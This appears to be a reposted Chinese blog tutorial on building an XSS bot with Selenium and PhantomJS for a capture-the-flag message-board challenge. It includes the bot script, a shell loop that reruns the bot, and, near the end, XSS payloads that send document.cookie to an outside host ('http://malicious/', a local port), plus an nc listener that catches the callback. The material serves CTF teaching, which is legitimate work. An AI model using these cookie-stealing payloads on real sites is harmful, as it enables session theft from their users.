如何寫一個Xss Bot


如何寫一個Xss Bot

現在的ctf比賽里
xss的出題方式比較特殊,一般使用xss bot,所以借鑒大佬經驗嘗試弄一個xss題目。

xss bot

就是代替管理員去完成點擊頁面的任務,bot需要能夠執行js,事情的本質是我們需要一個瀏覽器內核來解析js

xss bot一般會用selenium+webdriver
webdriver一般有3種

chrome webdriver、firefox webdriver、phantomjs

selenium

selenium是用來控制webdriver的接口的

chrome和firefox的webdriver都有一個特點,就是需要桌面,我們搭建題目在docker環境中會有問題,
phantomjs和別的瀏覽器本質上沒什么區別,差不多也是類似於瀏覽器的內核,優勢其實是多平台支持,而且不需要瀏覽器支持(但是PhantomJS官方宣布暫停開發,python做爬蟲的話,不要再用PhantomJS
這里我們為了方便暫時使用phantomjs。

Selenium+PhantomJS安裝

最新版selenium已經放棄PhantomJS了,selenium版本降級安裝

pip install selenium==2.48.0

Download PhantomJS

ubuntu下可以直接

apt install PhantomJS

下載設置好環境變量即可使用。
以留言板xss為例做一個xss bot

網站留言處存在xss,bot實現功能模擬管理員登錄后訪問留言頁面。

#!/usr/bin/python
# -*- coding: utf-8 -*-
# Auther: xf@hackxf.cn

#導入webdriver API對象,可以調用游覽器和操作界面
from selenium import webdriver
import time
#要想調用鍵盤按鍵,鼠標操作需要引入keys包
from selenium.webdriver.common.keys import Keys
#創建PhantomJS瀏覽器對象
driver = webdriver.PhantomJS()
#加載網站頁面
driver.get("http://192.168.228.36/admin/login.php")
#找到頁面input輸入標簽並填充文本內容admin
driver.find_element_by_name('user').send_keys("admin")
driver.find_element_by_name('password').send_keys("ying20181818")  #輸入帳號密碼登錄網站
#By Class Name 找到class=button的按鈕並模擬點擊
data = driver.find_element_by_class_name('button').click()
time.sleep(1)
# driver.save_screenshot("sss.png") #截屏
for cookie in driver.get_cookies():  #打印當前cookie
    print("%s -> %s"%(cookie['name'], cookie['value']))
#管理員登錄狀態訪問存在xss的頁面
driver.get("http://192.168.228.36/post.php?id=1")
# driver.save_screenshot("sss1.png") #截屏
for cookie in driver.get_cookies():
    print("%s -> %s"%(cookie['name'], cookie['value']))
# print data
# print driver.title
#退出驅動關閉所有窗口
driver.quit()

參考資料

Selenium+PhantomJS使用時報錯原因及解決方案

Selenium與PhantomJS使用手冊

留言板xss bot靶場

登錄或者設置cookie

實現xss bot一分鍾運行一次的sh腳本

while sleep 1; do phantomjs --ignore-ssl-errors=true --local-to-remote-url-access=true --web-security=false --ssl-protocol=any xss-bot.js; done;

x入payload

<script>
new Image().src="http://127.0.0.1:1234/"+(document.cookie);
</script>
<script>document.write('<img src="http://malicious/?'+document.cookie+'  "/>');</script>

vps監聽端口

nc -lvp 1234

一旦我們的PhantomJS XSS bot訪問易受攻擊的URL並執行有效負載,我們將收到對偵聽器的回調


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM